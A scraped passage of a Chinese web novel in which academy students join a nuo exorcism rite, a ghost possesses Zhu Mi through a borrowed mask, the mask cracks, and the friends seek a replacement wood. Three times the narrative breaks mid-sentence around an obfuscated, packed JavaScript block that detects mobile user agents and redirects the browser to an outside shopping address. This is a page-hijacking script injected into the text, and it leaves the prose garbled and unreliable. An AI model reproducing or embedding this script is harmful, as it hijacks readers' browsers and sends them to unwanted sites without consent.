祝弥问:“一般讲什么?” 王洵乐:“讲学问、辨义理、明是非,议经,论史都有。不过今年和以往不一样,长姐从建康带来了点不寻常的东西。” 祝弥吞吞口水,明知要问的问题很蠢,但是实在无人解答:“你长姐是?” “当今,中宫皇后。” 此话一出,有人眼睛发亮,有人神采褪色,有人默默淡出。 眼睛发亮的祝弥终于忍不住开口:“你们两个怎么回事?特别是你,庾彦庭,肚子不舒服就去如厕?” 庾彦庭低迷一声“哼”。 转头对另一个:“你又是什么情况?忽然装透明人了?” 桓错只对着窗外用力发呆,充耳不闻窗内事。 王洵乐看着二人只笑。 13. 鬼跳傩舞傩面掉 不知是不是祝弥还年幼做不到很多事、或者是在上学的缘故,古人的生活,好无聊。 一日一节课,抄书,吃饭,睡觉,没了。虽然祝弥喜欢睡觉,但是睡多了也是过头,躺在床上盯着天花板,发呆。 上辈子太忙太累,为了生存疲于奔命没想过哪怕一个月后的人生。 现在倒好,闲下来了居然开始思考起未来和理想。 逃离了梁祝命运,她要怎么办? 回去继续给资本家做牛做马是不可能的了,且不论能不能回去,有没有退路,总感觉退进皆是水深火热。 她有不可明说的焦虑感——一穿越来就频频惹事上身,还有一群富家子弟馋她能见鬼,天天围着她转。 好像她来这,是真要当心理医生了。 而且,当古人有好多身不由己啊。她不死心再次和王洵乐确认:“皇后……呃、姐姐,点了名一定要我参加吗?” 王洵乐无辜地点点头,表示长姐私下听说了祝弥的通灵事迹,对她很感兴趣。 因为王季林离奇死亡,又似乎涉及到王家的心病“怀真”。这一事诡邪,王家人都缄口不言,对外只说季林病逝。但皇后是本家人,知情了以后,找借口便把国用的那套祭祀班底请到了山阴来,作法为亡者安魂。顺便也请来钱唐做一场傩祭,即是忍冬书院第一次会讲的隆重开场。 傩祭是上古流传至今的一种祭祀仪式,都城每年都会举行至少三场大傩,是国家头等大事。 行傩之人戴上面具,象征着神灵附体,通过挥舞依仗、呼喝、跳舞、踏步等方式实现除岁禳灾、逐疫驱鬼的目的。 跳傩人数越多、越盛大越好,除了祭祀班底四名戴黄金面具、主持仪式的方相氏,和八名持斧钺苇茢、戴狰狞凶煞面具的门神神荼和郁垒*,还需要从本地收纳贵族子弟充当“氛围组”。戴上面具即是灵媒,天然地有护佑效果,所以士族一般会让家里最受器重又适龄的少年戴上“十二神兽”面具。 顾名思义,珍贵的神兽只有十二名。其余的人只能当面具统一、没有背景故事、举着火炬的侲子*。 “可人选早就固定了吧,不必为了我挤掉别人。我只是能看见鬼,不会驱鬼的。我甚至会和鬼交朋友,这是不对的。我被你们一起驱了可就不好了。”祝弥试图推拒。 “今年不一样,多了个新角色,第十三个神兽,梦成来演正好。” “……我很忙啊。”有人拒绝得很苍白。 “忙在哪?”一旁的桓错冷冷接话:“睡觉睡到错过晚膳,然后和我的鹅吵架到天黑,最后去找扫地的老翁聊天蹭馅饼。” “这还不忙吗?” 王洵乐:“我们三个都在呢,梦成只管跟着我们做就好了。何况,长姐开口,梦成还是不要拒绝的好。” 最后这几个字有点压迫力,毕竟是皇后。祝弥吞吞口水:“……行吧,但是我有一件事想知道。告诉我,我就老老实实和你们排练。” “请问。” “我想听他们之间的故事。”伸手指了指三人之外的那坨人形萎靡东西,“庾彦庭变成这样是见鬼了吗?” 他自从得知皇后要来书院,整个人就像被偷了魂似的。先生们也不盯着祝弥罚抄书了,而是昏昏沉沉迟到早退的他成为了新的眼中钉。 桓错也忍不住话里话外和祝弥确认了几次:他真的没有被偷魂吗? 有人很会蹬鼻子上脸,故意嬉皮笑脸回:你说说你们两个和皇后是什么关系,我就告诉你。 但当事人不肯给出答案。 而这个答案会影响祝弥对自己未来的规划,很关键。 “简单。” 王洵乐倒是很爽快,不顾旁人的两道白眼,一一给她道来几人的关系。 当今皇后名为王妙一,是王静源的长女,年长王洵乐两岁。 “等一下,”祝弥打断,“你家不是信五行一教吗,怎么姐姐的名字里没有金木水火土?” “长姐八字圆满。而且‘五行合一’,名字带‘一’也能得天道护佑。” “好,继续。” 王妙一姐姐从一出生就是姐姐,是弟弟们做好事的表率榜样,做坏事的主谋、带头大姐。如果说王洵乐、桓灵玦和庾彦庭从小一块长大的三人是竹马,那青梅,应该就是王妙一了。 几人玩闹懵懂,快乐成长,一切相安无事到青春期。 直到三年前,怀真还只在豫章、鄱阳的西边一带作乱。一日,一如往常,王静源把十六岁的王妙一叫进了书房,谈话许久。 王妙一再从书房出来后,先是去找桓错,大概是在那碰了壁,又生气把自己关在房门里,庾彦庭焦急凑上去,姐姐却没给他开门。 那个下午,青梅竹马和竹马竹马之间,似丝帛轻轻飘飘一声裂,有什么东西变化了。 怀真打到钱唐来的两个月前,庾彦庭的表哥,也就是当今天子,迎娶王氏为后,举国同乐,轻徭薄赋,大赦天下。而庾彦庭和竹马分道扬镳,从此寄情山水,遁入道门。 故事听完,祝弥挑眉,看看桓错,又看看庾彦庭。 王家最珍贵的掌上明珠,想必是才情容貌双绝,按理说无人不爱无人不怜,她大大咧咧笑问其中一个:“你不喜欢洵乐的姐姐吗?” 桓错面无表情,不知在回答什么:“灵玦自幼,有婚约在身。” 别一副受了委屈的口气啊,祝弥直言:“别的兄弟都没有的婚约,就你有,你是在回报父亲的垂爱吗?” 看不出来他还是个讨好型人格。还是因为父亲的什么原因,他才不得不需要讨好? 桓错:“……” 见他不说话,祝弥继续道:“问的是你的心。婚约大事不是儿戏,你若心许王妙一,不必瞻前顾后畏畏缩缩,该直接上我家退亲的,白白伤了妙一的心。放心,祝家不是攀附权贵之流,开明得很,绝不做你们桓王之谊的绊脚石。” “问心无愧。” 忽然他又笑道:“梦成怕妹妹吃亏,替妹妹打抱不平,我理解。”似乎总能听出她话里话外的阴阳怪气,勾起一只嘴角又朝另一个人:“洵乐,你也有什么迟来的打抱不平吗?” 说着像是对众人开放那张俊脸,送出来一点,意思是今日新账旧账一起算了,赏脸给你们来一拳。 听完,王妙一的亲弟弟还没有任何动作,王妙一的小叔子就从萎靡状态挣脱了来,起身几步过来,抬臂,拳头冲了过来。 桓错灵巧闪身,“嗯?又没对你说话。” “不就是仗着有一张会骗小娘子的脸么。”庾彦庭一拳挥空。 桓错:“……确实。” 祝弥汗颜:这样骂会让他爽到的吧…… 庾彦庭更气:“不胡不汉,有什么好稀罕的。”说着又挥拳。 这回桓错没躲,正面迎上,抬手接住,距离拉近,两人身影瞬间重叠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068484|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起。只见庾彦庭骤然惨叫一声,弯腰不能自已。 腹部被桓错来了一拳。 “你他娘的!”二人便看似一招一式地扭打在一起。 王洵乐介入中间,保护住其中一个,叹气,“你总也打不过,就不要说些明知会惹他生气的话了好吗,自虐吗?” 几个招式下来,庾彦庭从颓靡丧气变成了鼻青脸肿,而桓错拍拍衣袖,面色如常,只是不说话。 “我、我只是一直想不明白,”可能是被揍得有些破防,庾彦庭忽然声泪俱下,泪水带着血丝从肿起的眼角流下的样子有点瘆人,说话也含混不清,“为什么世上如妙一阿姐那样光艳绝伦、神采飞扬的人都难以顺心遂意,那这个世道是不是有什么问题?还是你眼睛有问题,桓错?如果她选的是我……我可以放下一切……” 祝弥腹诽:就冲你喊她阿姐这一声,就知道她不会选择你啊。 桓错垂睫:“我只是做了自己的选择。彦庭,逃避也是你的选择。” 王妙一任性地要他带她走、不顾由此会得罪司马家和王家。且不论他对她从没那种想法,单单这样做会给父亲惹来多大的麻烦。当时她慌慌张张找上门来,没有多想,他说:妙一,对不起。 叹口气,他对庾彦庭又说:“我才是不懂你。生平第一次得不到似地,值得你这么耿耿于怀三年。” 千宠万爱没摔过跤的孩子容易一摔就不肯起。豪气冲天得也有点让人羡慕,不像他。 毕竟,父亲很少正眼看过他。 庾彦庭听了又想揍人,被王洵乐死死拽住,伸出一指高高冲着他的脸:“你别摆出一副爹娘不爱的样子!小娘子们会被你那副模样骗到我可不会!祝你日后也能潇洒如脱世高人,别被那祝家娘子折磨!” 一副除却巫山不是云、祝家娘子是什么荒野杂草怪力蛮牛似的不忍直视的口气。 “什么话?什么话这是!”祝家娘子本人原本吃瓜吃得起劲,也确实正默默欣赏桓错一副失魂落魄的莫名惹人怜爱的神情,忽然话风转口扯到自己头上,一瞬间气得想跳脚,胡乱一通:“我妹妹是什么性情乖戾轻薄无行凶神恶煞獠牙外露的人吗?是又如何?!开心了吧!” 一不小心骂了自己,她气不过继续骂罪魁祸首:“你这入了道,心还在俗世之中呢!全世界就你自己最好,看不起这个看不起那个的,活该姐姐不喜欢你!你师父没嫌弃你人笨嘴也笨吗还是只图你乐善好施给道观的钱财?你要是没这身份地位钱财,狗都不正眼看你一眼!” 果然是没品!吵架就吵架,扯到别的女孩子算什么好汉!不像她,直接人身攻击! 不小心殃及池鱼,还被骂了一通,庾彦庭气势弱了下来:“哎呀梦成,他的婚事是痛处,我取笑得久了,一时口快。对不起。” “好好好,痛处,我祝家确实配不上你们王桓庾家!”祝弥狠狠踩了庾彦庭一脚,又瞪了桓错一眼,气冲冲地走了。 桓错:“?” 真是谢谢了,他一句话没说。 也瞪了庾彦庭一眼,跟着走了。 庾彦庭惹了桓错无所谓,忽然把祝弥气走有些不知所措。回看房间内,只剩个挑眉淡笑的王洵乐。 对了,一切事端是这人挑起的。真坏啊。 “哼!” 他把遭受到的白眼统统往他身上倒,也离开了。 四人除了实现目的的王洵乐之外不欢而散。 14. 鬼跳傩舞傩面掉 不管怎么说,王洵乐的任务完成了,祝弥同意扮演第十三只神兽。他心情不错,乐于充当粘合剂,不厌其烦地笼络三人一起演练演练。 桓错庾彦庭两人之间不说话,没关系。祝弥虽然见到某人会沉着脸,但是看见桓错示范傩祭专门的仪式舞步,她会两眼冒出星光,有雀跃的神情不掩饰。 很好。至少排练很顺利。 会讲到来那天天还未亮,他们已经换好黑红色的仪服,正等着来人一声令下,戴上面具就可以出发了。要做的事情很简单,在锣鼓的声音中,跟着方相氏有节奏地踏着傩步,时不时喊几声驱鬼词,书院绕三圈,沿着钱唐江走一圈钱唐县再走回来,最后把手上的火把扔进河水,即傩祭完成。 傩祭本就人数众多,声势浩荡,除了最中心的主祭方相氏、门神、十三神兽,两旁是数百人举着火把的仪仗队和声乐队,再外围是人数更多的跟着走或看热闹或祈祷祝福的普通民众。 届时,方相氏命呼:“傩——” 千人跟呼:“退——” 门神操戈持盾、神兽张牙舞爪跟舞。 举着火把的侲子齐声唱《吃鬼歌》。 记不住词的个别人滥竽充数也无伤大雅。 驱傩的流程是这样。 王洵乐已经细细叮嘱了祝弥多次,祭祀是大事,出了差错大人们会怪罪。还举例子吓唬她:前些日子祈晴仪式不得天道,雨越下越大,天子上表罪己诏,三天不进食。主祭更是七天不敢进食,老人家才恢复好就被长姐不由分说拉来了会稽。 她很配合,痛快点头:“简单得很,不在话下。洵乐放宽心。” 此时方相氏正在祭台上,带着王皇后和山长等贵人与天对话。 十三位神兽扮演者在最里间厢房等候,整装待发。 很快面具被人抬上来,挨个分发到他们手里。 这些木制彩漆神兽的面具是先祖流传下来的百年古物,格外珍贵,所以在最后一刻才送到大家手里。 王洵乐把第十三个面具递给祝弥。 可祝弥突然双手背在身后,和那块红色瞪眼张嘴忿怒相的面具大眼瞪小眼,格外不领情,拒绝接下:“我们戴的不是纸面具吗?我不想戴这个。” 王洵乐就知道自己右眼一直跳是在跳灾,但还是举着面具在她面前晃,耐心道:“第十三个面具,是今年参加会讲的一个学者从西域带来的。名叫班丹拉姆,是西域神,护佑吉祥平安。这面具千里迢迢而来,寓意很重,本身也金贵得很,比我家家训流传时间还长。梦成,这是很大很大的荣幸。” 没有拒绝的余地。 王洵乐这个人,看似温润随和,其实是个强迫症,若他立下了什么规矩目标,必以强硬手段维护和实现。 祝弥:“……” 其余人已经戴好各自的面具,就等前面的人一声令下出发,只剩王洵乐和祝弥还在僵持,一个不知道该如何劝但一定要给出,一个给不出理由又执拗不肯接过。 “可是面具上有东西?” 一张鸟翼为耳、獠牙外翻的半人半鸟黑金神兽面具骤然凑到眼前,祝弥吓得“咦惹”一声避脸。 十二神兽都是上古故事中被方相氏收服的凶兽,每一张面具都是凶神恶煞、怒发冲冠的面相,如此才能喝退鬼怪蛊疫。 是桓错的声音。 她皱着眉头又看两眼:“似乎没有。” 鸟翼面具叹气:“笨,你说有他不就不敢逼你了吗。” 祝弥额头冒汗,对王洵乐:“……换个人来行吗?” 王洵乐无奈:“昨夜开坛,主祭已经把神兽扮演者的名字禀报上天,这是更改不得的。而且你看看现在一副井井有条的状况,还能找出一个多余又合适的人吗?到底怎么了?” 这时前面传来一声长呼:“傩起——一十三神出!” 接着是紧锣密鼓。 一直在最前面翘首眺望祭台上人的庾彦庭几步过来,抢过红色面具直接戴到了祝弥脸上,语气有点差:“没问题就戴上,丑是丑了点,不准闹脾气!——出发了。” 说着就拉着王洵乐就向外走。 大门推开,黄金四目的方相氏和凶神恶煞的门神在正中间跳舞,两侧是百名侲子举着火炬迎候十三神兽一一出列。祝弥跟在后面,脚步打颤,迈出门槛时,“哎呀”一声差点跪了下来,桓错眼疾手快扶住了。 前排的王洵乐和庾彦庭闻声立刻挺直腰背站到一起,合并成一堵展示自信气势的人墙:刚刚什么都没发生,没人看见,没人绊倒!更没有触忌! 等差点给鬼下跪的神兽站稳之后,桓错松开手,发现袖子像挂了二十两银两,重得很。 是祝弥不放手了,紧紧攥着他的衣袖和他并排走。转头去看她,像个惊弓之鸟弯腰缩颈,活生生比他矮了一大截,好像被退傩的锣鼓声缭绕吓到了。 绕书院第一圈,练习过的仪式舞步已经在乱走,她一会差点撞上前人,一会被后人踢脚跟,十三神兽阵列的节奏是方寸大乱。幸得周围里三层外三层的人多,一时半会还看不太出来。混乱只在内部出现,有人悄声责备:“怎么回事,别总踢我呀!” “唔……” 最前排的王洵乐低声对后方:“灵玦,管着她点。” 桓错无语,把人拽向自己一点,和她说:“别慌,你跟我脚步。” 畏畏缩缩的红色面具发出一些“唔唔”的含混口语,呆愣点点头,任由他拽着,也真的在努力照着大家的节奏走,就是好像力不从心似的。听到侲子们咒骂般唱的吃鬼歌,掏心挖肺、抽筋扒皮之类的,她倚靠在桓错手臂上的重力就更多一些。 绕书院走完第三圈,正往钱唐县去的时候,刚好傩祭一个阶段的礼成,锣鼓声和人群呼喝振臂声响彻山林,书院大门两侧燃了火盆,浓烟滚滚,冲出山林。 “傩——!” “退——!” 神兽阵列内又出现了更多不和谐的声音:“啧,谁的权杖掉了!” “别被发现啊!” “我不想抄书啊!” 不用想就知道是谁,王洵乐趁着此时傩祭情绪激昂又混乱,回头看了一眼祝弥,原本耐心尽失,忍不住脱口而出的一些冲撞祭祀会被严惩的重话,又生生咽回去了。 和桓错对视一眼便了然,又拉着身旁的庾彦庭,两人腰背挺得再直一些。尽量挡挡吧。 都感觉出来点什么了。 换人了。 扶乩上身了。 莫名其妙的。 桓错早就察觉到了。因为那个一直口口声声说自己有洁癖的人忽然抓着他的手,好久不肯放开了。 祝弥本人在正常情况下确实从不和他们有各种意义上的肢体触碰,除了骑马和晕倒,再就是扶乩。而此刻这个红脸面具祝弥,迈着呆滞的步伐,被桓错强势地扣着手腕僵硬跟走。又忽然扔掉了自己作为班丹拉姆一直单手持的金刚杵,得空的手伸过来,细细地抚摸扣她手的、他的手。一边摸一边透过面具打量着四周,初来乍到似的。 手背上有指尖在爬,小心翼翼得颤抖,缓慢、一寸一寸。桓错额头冒了点汗。 根本就是虚化已久的鬼在感知实体的温度和触感。 桓错:“……” 硬着头皮挟持一个鬼沿着钱唐江做完驱傩仪式。 浩浩汤汤的仪仗队伍最终停在江边,方相氏:“今我使神荼郁垒,十三神兽,代天巡狩,威震邪祟!众傩——!” 众人:“尽退——!” 方相氏:“埋祟——!” 跟着方相氏的命令,侲子把火把扔进钱唐江,一时间火把像是下雨,江水也汹汹发出熄火的声音。 方相氏:“百无禁忌——” “诸邪回避——!” “礼成——大吉——!” ——吉个屁! 十二神兽中有几只神兽只觉得自己已沦为鬼祟之流,十分不吉,该跟着那些火炬一起送进江水里洗洗。 回到书院,他们匆匆找了间无人厢房,门一关上,瞪着眼睛面面相觑:驱鬼的傩仪里混入了一只真的鬼,这可怎么办?冒犯忌讳,冲撞天道的先不提,总之最要紧的是,绝对不能被其他人知道!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069391|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桓错还被死死拽着不放开,鬼正低着头玩他手。 王洵乐按住眉角深呼吸:“……” 还是庾彦庭先缓和气氛,摘下面具,逞强似地一脸不屑:“这傩仪本就是走个过场形式,若真那么灵验,那方相氏也不必请不到晴天而自罚七天绝食,不碍事的!哼,跟着那衰老头走这一圈可真是够慢!” 另外两人想想也是,若真能驱鬼,那鬼早就吓跑了还轮得到冒犯吗?这不还好好的在玩手吗? 便平下心来对着鬼看。 眼前这“祝弥”像是不开智的幼童,又或者是初得人身,喜极而失智,对几人说话全无反应。才发现她半束的头发不知何时又被火烧到了。那这个鬼是何时何处而来的? 至少不在面具上。 桓错回忆不起来是什么时候发现她不对劲了,因为这家伙从一出门脚就在打滑,他全程不是扶就是拽。仪式也实在是太吵,不知何时她的头发被燎到了,手就悄悄摸了上来。触摸的情境,就和那日母亲附体一样,细细寸寸摸着他的脸。 所以他对这些可怜的鬼心软了,便任凭它摸。 “敢问足下大名?”王洵乐对着“祝弥”问。 “祝弥”转脸看了他一下,“我……”了一个字,声音却哑哑地出不来后续的话。 学着祝弥之前问怀真的样子,又问:“足下可是有何求?” “我、我……” 鬼还是“我”不出来任何内容。 “我什么我!问你是何人!不愿答就滚出去,把梦成还给我们!”磕磕巴巴的口吻听得庾彦庭没由来地烦躁。 “祝弥”被吓得当即收声。拽着桓错的手指节用力得泛白,举起来一下又泄气得放在腿上。 桓错盯着“祝弥”,比另外两人有耐心,何况,他还被它“劫持”了。母亲那日也是哭了许久才能断断续续地开口说话。如今这鬼适应人身的模样笨拙得可以说是痴傻,恐怕飘荡的年限比他母亲还久。 “别怕。”忍不住回握了一下它,示意安心。 “呜……”它开始小声呜咽。 “唉!”庾彦庭不爱听鬼哭,咬牙一声嫌弃,甩着袖子站起来,背过身去。 桓错:“能别把你自己的情绪撒到别人身上来么?” 这人今日火气格外重不就是因为王妙一的轿辇一直在仪仗的旁边么。想和人说话又实在找不见由头,急得和一个无辜野鬼发脾气了。 “你想出去见她自便就是,没人把你关在这里。这扶乩不会持续太久。” 听到桓错这话,“祝弥”也一愣抬头看他。 ——“洵乐,王皇后有请。”门外有同学敲门,“面具那边也催还了。” “知道了。”屋内三人对视一眼,王洵乐和庾彦庭出门,留下桓错和鬼。 “你,能说话吗?” 二人面对面跪坐着。 “我、我……” 桓错先摘了自己面具,又准备去摘它的。不料它向后一躲。 桓错:“?” “这面具是借来的,弄坏了可赔不起。” 他也不知道和一只鬼强调活人的价值观做什么。说完又要摘。 它又向后躲。 “……” 怎么跟祝弥本人似的,说不想戴面具就死倔着不肯戴……嗯? 面具? 桓错的一只手还被它攥着。 手腕稍转,轻巧控住了它双手,用劲把人带向自己。距离拉近后,另一手捏住面具下颌,作势要摘。 “祝弥”的双肩开始在抖,却挣扎不得,堪堪把脸扭开。 “呜、呜……” 面具揭开之际,“咔嚓”一声传来。 “你帮我!” 它终于急急出声,掩饰不住一口轻清的少女音色。 同时,桓错扣捏面具的指节摸到了绵绵的水意,面具以他手为起点,自下而上,一道裂缝突兀蔓延。 咔哒—— 面具不摘自落,一张噙泪盈盈的祝弥的脸露了出来, “你帮我、照顾好小满……小满她……” 15. 鬼跳傩舞傩面掉 “祝弥”说完那句话之后就趴在地上昏倒了,桓错不可置信地松开她的手,还后退两步。 一时间没法接受发生了什么—— 那面具,算她弄坏的还是算我? 王洵乐和庾彦庭在另一头和王妙一叙旧。三年未见,王妙一一如既往,在庾彦庭眼中还是那个巧笑倩兮、最有主意的妙一阿姐。她几次开口要见桓错和那位弟弟们新认识的神棍同学,差人去请,得到的回复是傩祭大事未完,在忙。 只见身居皇后高位的王妙一脸色微不可察地下垮,到底还是比以前多了些许迫人的气势,王洵乐和庾彦庭不由得心慌,连忙转移话题,说起家长里短的趣事。 很快会讲即将开讲,王妙一需要会见学者先生。 二人便回去找桓错和祝弥。一开门就是三人同时尬住了的场面,因为第四个人趴在地上,没心没肺睡大觉,身旁有两个一半的面具,竖眉瞪眼的忿怒相,像是在嘲笑他们。 看起来,扶乩终于结束。 但是裂开。 所幸,祝弥平安无事。 但是裂开。 那样的睡姿想必会落枕,得去把她拿起来。 但是裂开。 …… 面具,裂开。 人,裂开。 “灵玦!这是怎么回事!”王洵乐捡起红色面具,脸沉得可怕,颇有王妙一神韵。 桓错离“案发现场”很远,有意摘清嫌疑又格外可疑,说的话也像找借口:“她的面具和我们的不一样。” 说着拿着自己的鸟人面具给王洵乐对比。 确实,虽然都经过打磨抛光上漆还有经年使用和保养,可翻到内侧来,木头纹理完全不一样。十二神兽是柳木,常见,很好辨认,可祝弥这个红脸面具不知是何木,轻得多,纹理疏淡,木色象牙白,近闻还有幽香。 “用的漆色也不一样。” 原以为是红色鲜艳,细看才发现是颜料本身鲜艳,红为底金描边的色块里带着点点细闪,像是宝石,不是中原货色。 怎么看怎么贵重! 一时手足无措,几人又转眼看祝弥,想起扶乩一事,庾彦庭问:“她这么躺了多久了?” 桓错:“你们走之后。” “那鬼可有说出什么?” 桓错淡淡道:“无关紧要,估计是跳傩时沾惹到旁人的执念。” 不是母亲。 一只良善早夭又不起眼的可怜鬼罢了。 庾彦庭叹气,看了一眼地上趴得歪歪的人,又瞪桓错,“能对我兄弟好点么?” 桓错:“她说她有洁癖,我不碰她。” “对对对,都是她主动碰你的。刚刚牵着鬼的手跟个什么似的。”说着弯腰去够祝弥,要把她放到榻上。 睡姿被改变的那一刻,祝弥像是从水里憋气出来般地惊醒,惊恐睁眼,大喘着气喊,“别碰我!” “啪!”便一拳挥在欲抱人而不设防的庾彦庭的脸上。 庾彦庭咬牙忍下,“……醒了,就好。” 桓错笑:“看吧。” 只有王洵乐在真的处理面具的事情,立刻去找了祭司,摆出纨绔姿态用几个夸张的借口说要留下西域面具。对方当然是不肯,他转口妥协说那观赏两天,并搬出王皇后对此非凡面具也要一起欣赏的不容拒绝理由。于是,他们得以有两天时间琢磨后事、不,琢磨出一个解决办法。 兹事体大,对十六七岁的少年而言,这真不是抄抄经典家规就能解决的事情了,毕竟若祭仪不顺,天子都得和天下道歉。 祝弥对裂开的面具再没抗拒的反应,问她当时为什么不想戴那面具也问不出什么,只神叨叨的“直觉”二字作答。 唯一他们信得过又有可能知道这面具木料的人,或许是年幼跟着父亲行医、闯过南走过北见过无数药材的李三娘子,桓幼和的相好。 趁着会讲开始,书院开放,往来人数众多,少几个院内书生也无人发现,四人鬼鬼祟祟,推推搡搡,上马去王家,见养病的桓幼和。 一路上祝弥被三人莫名数落责备“面具开裂你完蛋了”云云,最后她受不了决意反击,振振有词、鱼死网破:“我现在有理由怀疑,这面具是你们三个人弄坏赖在我头上的。” “我真是吃了大亏,亏在扶乩附体的时候全无记忆。” 三人也骤然心虚。 是王洵乐拒绝了她换人的请求。是庾彦庭强行给她戴上的面具。是桓错强摘落泪还要说话的面具。 但很快他们又默契达成共识:不管怎么说,开坛时上天听到“班丹拉姆”后面跟着的,可是她祝弥的名字,官方认证的——总之四个人谁也别想跑。 四颗心虚的心加起来,就是满的!不虚! 到了王家大门,王洵乐第一个跳下马就匆匆入内。留在后面的三人不紧不慢下马,桓错语气风凉,像在问空气:“见到妙一了心情好了?” 庾彦庭答:“不像你,仗着有偏爱面子大得很请也请不动。” 眼珠子幽怨流转两圈,又幽幽地说:“也不问问她好不好。” “我去了你又要不开心。那她好吗?” “三年不见,一切如昨,阿姐神采奕奕,风采愈盛。还有,中宫皇后,有孕三月有余。” “如此。” “唯愿国运深厚,千年万岁。” 三人牵好了马,才踏进王家一步,忽然从内又擦肩而过急匆匆跑出去一个绣帕挡脸的身影。最前面的祝弥没反应过来,中间的庾彦庭有些发呆,最后的桓错已经跟上那人的脚步,留下三个字在原地:“拦下她。” 是李三娘子又跑出去了。 又被桓夫人欺负了。 还是那句话,门第不合,于礼不合。 三人带着默默落泪的李三娘子回到桓幼和房间,里面正在吵架。桓夫人一人对上王洵乐和桓幼和。 桓夫人明显占据上风,趾高气昂,气势汹汹,用三倍的人生厚度不留情面地打压两个少年人。而两个少年人,一个体弱气短,急得在榻上动弹不得,另一个被老吾老的孝道约束,皱眉说不出半分重话。 李三娘在门外低头不肯进去。 祝弥看不下去,在僵持的几人背后冷不丁插入:“桓老夫人,他活不长的。” 桓老夫人之前从桓幼和口中听闻祝弥相助的事情,对她原是感激不尽。但是今天再见面,这人开口就是极其无礼的话,感激之情被冒犯的怒意盖住,“你说什么?” 祝弥恭恭敬敬地行了一个见长辈的礼,继续说:“魂离体是伤身的大病,普通人安安心心将养数年都不一定能恢复如初。老夫人,您再看看桓幼和的样子。” 桓夫人眼睛不瞎,只自以为是在能转圜的余地中还有更看重的东西:“……他是桓家这一支的独苗,我不能对不起他父亲,还有桓家的族谱。” 意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老夫人若有所思半晌,忽而又想起曾听闻某某名医有一剂调理的良方,急匆匆外出去寻了。 老夫人一走,房间内的气氛缓和了下来。 祝弥松了一口气。 桓幼和和李三娘抱得愈发紧密。 围观三人组不约而同齐齐侧身又侧目,非礼勿听,非礼勿视。 “嘻嘻。”祝弥不知所谓地一声轻笑,不顾礼节,坐到榻上的二人身边。桓错试图拉住无礼僭越之人,但那人瞪他一眼,手臂抖抖像个泥鳅。 李三娘子从环抱中挣脱,哭着问她:“祝公子,幼和可还有几日好活?” “你再哭着说不要我,头也不回地走掉,我马上就没得好活。”桓幼和不再咳嗽,说话突然十分顺畅,半靠在枕头上,语气淡淡,垂睫温柔地给三娘拭泪。 李三娘意识到什么,气得在他胸上轻捶了一下,手马上就被抓住,再也不肯放开。 围观的人又摸摸鼻子,看天看地。 庾彦庭忍不住问祝弥:“魂离体果真那么伤身吗?可我给幼和的卜卦是吉啊,我还和洵乐打包票没事的……可有什么救法?” 回望见桓错和王洵乐两个人像是看傻子似的神情看自己,后知后觉这是一出演给老夫人的戏,表情一变,又笑又骂:“好啊梦成!你怎么学会了信口胡诌!” 祝弥挑眉笑道:“桓灵玦不是才刚教的吗。你们看不见鬼,那我说什么便是什么!” 16. 鬼跳傩舞傩面掉 李三娘又确认了桓幼和的状况,他再三解释:只是易困嗜睡得很,身体别无不妥。 既然无事,几人脸色一收,骤然严肃,一副谈正事模样。一人关窗,一人闭门,一人拿出两半面具,问李三娘可曾见过这种木材或颜料。 李三娘接过面具细细检查,望闻问切,得知这是西域来的。她思考一番,道:“味道有些熟悉。” “我曾跟父亲去过最西边的陇西郡一次,再西北就是吐谷浑和凉州,边界不稳,官兵不让平民往外走。但陇西的人文风土和江左已是天差地别,草木也多是我未曾见过的种类。这木头,不常见,只能是西域产物了。” 虽然大家祖籍都在北方,但除了桓幼和,皆是南渡后出生的,最北顶多去过建康,长江北都没涉足。提起陇西和凉州,他们只觉得那是苦寒战乱的蛮荒边疆,自是比不上富饶的江南水乡。会稽的狗听见凉州都直摇头。 众人扼腕长叹,又问她有没有什么相似特质的木材可以替代。 桓幼和笑:“你们还想再做一副一模一样的不成吗?” 王洵乐:“不然呢?” 这是最令他安心的解决办法了,而且他不信做一副面具有什么难的。 但李三娘摇摇头,只道此木气味特殊,代替不得。 巧妇难为无米之炊,王洵乐脸色暗沉。 “怎么好端端的,把傩面破成这样?”桓幼和环看四人。 第一根手指头抬起来,庾彦庭理直气壮指向祝弥。 祝弥指他回去。 王洵乐哀怨地抬手,也指祝弥。 祝弥手指头转向。 桓错面无表情,也指祝弥。 祝弥气死了,抱着脑袋躲避:“好没担当的三个男的!” 众人笑起来。庾彦庭冲她挤眼:“逗你的。这不是都在想办法嘛,谁也没撂挑子啊。” “啊,我想起来了,这气味!”李三娘细闻面具许久,在大家的笑声中灵光一现。 虽说原木材没有,但是这特殊味道实在令人印象深刻。父亲出游目的是收集珍稀的、特别的草药,似乎,家里有几个木果子味道相似。说着便要带四人去李氏药铺。 几人当即收敛神色要去干正事。出门前,不便外出的桓幼和在背后弱弱一声呼唤:“三娘……” 